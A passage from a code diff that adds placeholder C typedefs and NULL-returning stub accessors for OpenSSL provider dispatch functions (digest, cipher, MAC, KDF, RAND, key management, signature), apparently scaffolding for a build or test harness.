OSSL_FUNC_provider_get_capabilities_fn; + +typedef int OSSL_FUNC_provider_register_child_cb_fn; + +typedef int OSSL_FUNC_kem_settable_ctx_params_fn; + +typedef int OSSL_FUNC_signature_query_key_types_fn; + +typedef int OSSL_FUNC_signature_settable_ctx_md_params_fn; + +typedef int OSSL_FUNC_asym_cipher_newctx_fn; + +typedef int OSSL_FUNC_store_open_ex_fn; + +typedef int OSSL_FUNC_keyexch_derive_fn; + +typedef int OSSL_FUNC_kdf_settable_ctx_params_fn; + +typedef int OSSL_FUNC_skeymgmt_gen_settable_params_fn; + +typedef int OSSL_FUNC_digest_settable_ctx_params_fn; + +typedef int OSSL_FUNC_kem_encapsulate_init_fn; + +typedef int OSSL_FUNC_core_new_error_fn; + +typedef int OSSL_FUNC_BIO_up_ref_fn; + +typedef int OSSL_FUNC_self_test_cb_fn; + +typedef int OSSL_FUNC_keymgmt_export_types_fn; + +typedef int OSSL_FUNC_core_get_libctx_fn; + +typedef int OSSL_FUNC_digest_init_fn; + +typedef int EVP_ASYM_CIPHER; + +typedef int OSSL_FUNC_decoder_settable_ctx_params_fn; + +typedef int OSSL_FUNC_signature_sign_message_init_fn; + +typedef int OSSL_FUNC_rand_gettable_params_fn; + +typedef int OSSL_FUNC_mac_update_fn; + +typedef int OSSL_FUNC_keymgmt_export_fn; + +typedef int OSSL_FUNC_provider_random_bytes_fn; + +typedef int OSSL_FUNC_decoder_freectx_fn; + +typedef int OSSL_FUNC_mac_init_fn; + +typedef int OSSL_FUNC_store_eof_fn; + +typedef int OSSL_FUNC_signature_verify_init_fn; + +typedef int EVP_PBE_KEYGEN; + +typedef int OSSL_FUNC_core_thread_start_fn; + +typedef int OSSL_FUNC_cipher_cipher_fn; + +typedef int OSSL_FUNC_keymgmt_dup_fn; + +// Function stubs. +OSSL_FUNC_core_gettable_params_fn * OSSL_FUNC_core_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_get_params_fn * OSSL_FUNC_core_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_thread_start_fn * OSSL_FUNC_core_thread_start(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_get_libctx_fn * OSSL_FUNC_core_get_libctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_new_error_fn * OSSL_FUNC_core_new_error(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_set_error_debug_fn * OSSL_FUNC_core_set_error_debug(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_vset_error_fn * OSSL_FUNC_core_vset_error(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_set_error_mark_fn * OSSL_FUNC_core_set_error_mark(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_clear_last_error_mark_fn * OSSL_FUNC_core_clear_last_error_mark(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_pop_error_to_mark_fn * OSSL_FUNC_core_pop_error_to_mark(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_obj_add_sigid_fn * OSSL_FUNC_core_obj_add_sigid(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_core_obj_create_fn * OSSL_FUNC_core_obj_create(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_malloc_fn * OSSL_FUNC_CRYPTO_malloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_zalloc_fn * OSSL_FUNC_CRYPTO_zalloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_free_fn * OSSL_FUNC_CRYPTO_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_clear_free_fn * OSSL_FUNC_CRYPTO_clear_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_realloc_fn * OSSL_FUNC_CRYPTO_realloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_clear_realloc_fn * OSSL_FUNC_CRYPTO_clear_realloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_secure_malloc_fn * OSSL_FUNC_CRYPTO_secure_malloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_secure_zalloc_fn * OSSL_FUNC_CRYPTO_secure_zalloc(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_secure_free_fn * OSSL_FUNC_CRYPTO_secure_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_secure_clear_free_fn * OSSL_FUNC_CRYPTO_secure_clear_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_CRYPTO_secure_allocated_fn * OSSL_FUNC_CRYPTO_secure_allocated(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_OPENSSL_cleanse_fn * OSSL_FUNC_OPENSSL_cleanse(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_new_file_fn * OSSL_FUNC_BIO_new_file(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_new_membuf_fn * OSSL_FUNC_BIO_new_membuf(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_read_ex_fn * OSSL_FUNC_BIO_read_ex(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_write_ex_fn * OSSL_FUNC_BIO_write_ex(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_gets_fn * OSSL_FUNC_BIO_gets(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_puts_fn * OSSL_FUNC_BIO_puts(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_up_ref_fn * OSSL_FUNC_BIO_up_ref(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_free_fn * OSSL_FUNC_BIO_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_vprintf_fn * OSSL_FUNC_BIO_vprintf(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_vsnprintf_fn * OSSL_FUNC_BIO_vsnprintf(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_BIO_ctrl_fn * OSSL_FUNC_BIO_ctrl(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_indicator_cb_fn * OSSL_FUNC_indicator_cb(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_self_test_cb_fn * OSSL_FUNC_self_test_cb(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_get_entropy_fn * OSSL_FUNC_get_entropy(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_get_user_entropy_fn * OSSL_FUNC_get_user_entropy(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cleanup_entropy_fn * OSSL_FUNC_cleanup_entropy(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cleanup_user_entropy_fn * OSSL_FUNC_cleanup_user_entropy(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_get_nonce_fn * OSSL_FUNC_get_nonce(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_get_user_nonce_fn * OSSL_FUNC_get_user_nonce(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cleanup_nonce_fn * OSSL_FUNC_cleanup_nonce(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cleanup_user_nonce_fn * OSSL_FUNC_cleanup_user_nonce(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_register_child_cb_fn * OSSL_FUNC_provider_register_child_cb(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_deregister_child_cb_fn * OSSL_FUNC_provider_deregister_child_cb(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_name_fn * OSSL_FUNC_provider_name(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_get0_provider_ctx_fn * OSSL_FUNC_provider_get0_provider_ctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_get0_dispatch_fn * OSSL_FUNC_provider_get0_dispatch(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_up_ref_fn * OSSL_FUNC_provider_up_ref(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_free_fn * OSSL_FUNC_provider_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_teardown_fn * OSSL_FUNC_provider_teardown(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_gettable_params_fn * OSSL_FUNC_provider_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_get_params_fn * OSSL_FUNC_provider_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_query_operation_fn * OSSL_FUNC_provider_query_operation(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_unquery_operation_fn * OSSL_FUNC_provider_unquery_operation(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_get_reason_strings_fn * OSSL_FUNC_provider_get_reason_strings(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_get_capabilities_fn * OSSL_FUNC_provider_get_capabilities(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_self_test_fn * OSSL_FUNC_provider_self_test(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_provider_random_bytes_fn * OSSL_FUNC_provider_random_bytes(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_crypto_send_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_send(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd_fn * OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_yield_secret_fn * OSSL_FUNC_SSL_QUIC_TLS_yield_secret(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_got_transport_params_fn * OSSL_FUNC_SSL_QUIC_TLS_got_transport_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_SSL_QUIC_TLS_alert_fn * OSSL_FUNC_SSL_QUIC_TLS_alert(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_newctx_fn * OSSL_FUNC_digest_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_init_fn * OSSL_FUNC_digest_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_update_fn * OSSL_FUNC_digest_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_final_fn * OSSL_FUNC_digest_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_squeeze_fn * OSSL_FUNC_digest_squeeze(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_digest_fn * OSSL_FUNC_digest_digest(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_freectx_fn * OSSL_FUNC_digest_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_dupctx_fn * OSSL_FUNC_digest_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_copyctx_fn * OSSL_FUNC_digest_copyctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_get_params_fn * OSSL_FUNC_digest_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_set_ctx_params_fn * OSSL_FUNC_digest_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_get_ctx_params_fn * OSSL_FUNC_digest_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_gettable_params_fn * OSSL_FUNC_digest_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_settable_ctx_params_fn * OSSL_FUNC_digest_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_digest_gettable_ctx_params_fn * OSSL_FUNC_digest_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_newctx_fn * OSSL_FUNC_cipher_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_encrypt_init_fn * OSSL_FUNC_cipher_encrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_decrypt_init_fn * OSSL_FUNC_cipher_decrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_update_fn * OSSL_FUNC_cipher_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_final_fn * OSSL_FUNC_cipher_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_cipher_fn * OSSL_FUNC_cipher_cipher(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_pipeline_encrypt_init_fn * OSSL_FUNC_cipher_pipeline_encrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_pipeline_decrypt_init_fn * OSSL_FUNC_cipher_pipeline_decrypt_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_pipeline_update_fn * OSSL_FUNC_cipher_pipeline_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_pipeline_final_fn * OSSL_FUNC_cipher_pipeline_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_freectx_fn * OSSL_FUNC_cipher_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_dupctx_fn * OSSL_FUNC_cipher_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_get_params_fn * OSSL_FUNC_cipher_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_get_ctx_params_fn * OSSL_FUNC_cipher_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_set_ctx_params_fn * OSSL_FUNC_cipher_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_gettable_params_fn * OSSL_FUNC_cipher_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_settable_ctx_params_fn * OSSL_FUNC_cipher_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_gettable_ctx_params_fn * OSSL_FUNC_cipher_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_encrypt_skey_init_fn * OSSL_FUNC_cipher_encrypt_skey_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_cipher_decrypt_skey_init_fn * OSSL_FUNC_cipher_decrypt_skey_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_newctx_fn * OSSL_FUNC_mac_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_dupctx_fn * OSSL_FUNC_mac_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_freectx_fn * OSSL_FUNC_mac_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_init_fn * OSSL_FUNC_mac_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_update_fn * OSSL_FUNC_mac_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_final_fn * OSSL_FUNC_mac_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_gettable_params_fn * OSSL_FUNC_mac_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_gettable_ctx_params_fn * OSSL_FUNC_mac_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_settable_ctx_params_fn * OSSL_FUNC_mac_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_get_params_fn * OSSL_FUNC_mac_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_get_ctx_params_fn * OSSL_FUNC_mac_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_set_ctx_params_fn * OSSL_FUNC_mac_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_mac_init_skey_fn * OSSL_FUNC_mac_init_skey(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_newctx_fn * OSSL_FUNC_kdf_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_dupctx_fn * OSSL_FUNC_kdf_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_freectx_fn * OSSL_FUNC_kdf_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_reset_fn * OSSL_FUNC_kdf_reset(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_derive_fn * OSSL_FUNC_kdf_derive(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_gettable_params_fn * OSSL_FUNC_kdf_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_gettable_ctx_params_fn * OSSL_FUNC_kdf_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_settable_ctx_params_fn * OSSL_FUNC_kdf_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_get_params_fn * OSSL_FUNC_kdf_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_get_ctx_params_fn * OSSL_FUNC_kdf_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_kdf_set_ctx_params_fn * OSSL_FUNC_kdf_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_newctx_fn * OSSL_FUNC_rand_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_freectx_fn * OSSL_FUNC_rand_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_instantiate_fn * OSSL_FUNC_rand_instantiate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_uninstantiate_fn * OSSL_FUNC_rand_uninstantiate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_generate_fn * OSSL_FUNC_rand_generate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_reseed_fn * OSSL_FUNC_rand_reseed(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_nonce_fn * OSSL_FUNC_rand_nonce(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_enable_locking_fn * OSSL_FUNC_rand_enable_locking(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_lock_fn * OSSL_FUNC_rand_lock(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_unlock_fn * OSSL_FUNC_rand_unlock(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_gettable_params_fn * OSSL_FUNC_rand_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_gettable_ctx_params_fn * OSSL_FUNC_rand_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_settable_ctx_params_fn * OSSL_FUNC_rand_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_get_params_fn * OSSL_FUNC_rand_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_get_ctx_params_fn * OSSL_FUNC_rand_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_set_ctx_params_fn * OSSL_FUNC_rand_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_set_callbacks_fn * OSSL_FUNC_rand_set_callbacks(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_verify_zeroization_fn * OSSL_FUNC_rand_verify_zeroization(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_get_seed_fn * OSSL_FUNC_rand_get_seed(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_rand_clear_seed_fn * OSSL_FUNC_rand_clear_seed(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_new_fn * OSSL_FUNC_keymgmt_new(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_init_fn * OSSL_FUNC_keymgmt_gen_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_set_template_fn * OSSL_FUNC_keymgmt_gen_set_template(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_set_params_fn * OSSL_FUNC_keymgmt_gen_set_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_settable_params_fn * OSSL_FUNC_keymgmt_gen_settable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_get_params_fn * OSSL_FUNC_keymgmt_gen_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_gettable_params_fn * OSSL_FUNC_keymgmt_gen_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_fn * OSSL_FUNC_keymgmt_gen(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gen_cleanup_fn * OSSL_FUNC_keymgmt_gen_cleanup(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_load_fn * OSSL_FUNC_keymgmt_load(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_free_fn * OSSL_FUNC_keymgmt_free(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_get_params_fn * OSSL_FUNC_keymgmt_get_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_gettable_params_fn * OSSL_FUNC_keymgmt_gettable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_set_params_fn * OSSL_FUNC_keymgmt_set_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_settable_params_fn * OSSL_FUNC_keymgmt_settable_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_query_operation_name_fn * OSSL_FUNC_keymgmt_query_operation_name(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_has_fn * OSSL_FUNC_keymgmt_has(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_validate_fn * OSSL_FUNC_keymgmt_validate(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_match_fn * OSSL_FUNC_keymgmt_match(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_import_fn * OSSL_FUNC_keymgmt_import(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_import_types_fn * OSSL_FUNC_keymgmt_import_types(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_export_fn * OSSL_FUNC_keymgmt_export(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_export_types_fn * OSSL_FUNC_keymgmt_export_types(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_dup_fn * OSSL_FUNC_keymgmt_dup(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_import_types_ex_fn * OSSL_FUNC_keymgmt_import_types_ex(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keymgmt_export_types_ex_fn * OSSL_FUNC_keymgmt_export_types_ex(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_newctx_fn * OSSL_FUNC_keyexch_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_init_fn * OSSL_FUNC_keyexch_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_derive_fn * OSSL_FUNC_keyexch_derive(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_set_peer_fn * OSSL_FUNC_keyexch_set_peer(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_freectx_fn * OSSL_FUNC_keyexch_freectx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_dupctx_fn * OSSL_FUNC_keyexch_dupctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_set_ctx_params_fn * OSSL_FUNC_keyexch_set_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_settable_ctx_params_fn * OSSL_FUNC_keyexch_settable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_get_ctx_params_fn * OSSL_FUNC_keyexch_get_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_keyexch_gettable_ctx_params_fn * OSSL_FUNC_keyexch_gettable_ctx_params(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_newctx_fn * OSSL_FUNC_signature_newctx(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_sign_init_fn * OSSL_FUNC_signature_sign_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_sign_fn * OSSL_FUNC_signature_sign(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_sign_message_init_fn * OSSL_FUNC_signature_sign_message_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_sign_message_update_fn * OSSL_FUNC_signature_sign_message_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_sign_message_final_fn * OSSL_FUNC_signature_sign_message_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_init_fn * OSSL_FUNC_signature_verify_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_fn * OSSL_FUNC_signature_verify(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_message_init_fn * OSSL_FUNC_signature_verify_message_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_message_update_fn * OSSL_FUNC_signature_verify_message_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_message_final_fn * OSSL_FUNC_signature_verify_message_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_recover_init_fn * OSSL_FUNC_signature_verify_recover_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_verify_recover_fn * OSSL_FUNC_signature_verify_recover(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_sign_init_fn * OSSL_FUNC_signature_digest_sign_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_sign_update_fn * OSSL_FUNC_signature_digest_sign_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_sign_final_fn * OSSL_FUNC_signature_digest_sign_final(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_sign_fn * OSSL_FUNC_signature_digest_sign(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_verify_init_fn * OSSL_FUNC_signature_digest_verify_init(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_verify_update_fn * OSSL_FUNC_signature_digest_verify_update(const OSSL_DISPATCH * opf) { + return NULL; +} + +OSSL_FUNC_signature_digest_verify_final_fn * OSSL_FUNC_signature_digest_verify_final(const OSSL_DISPATCH 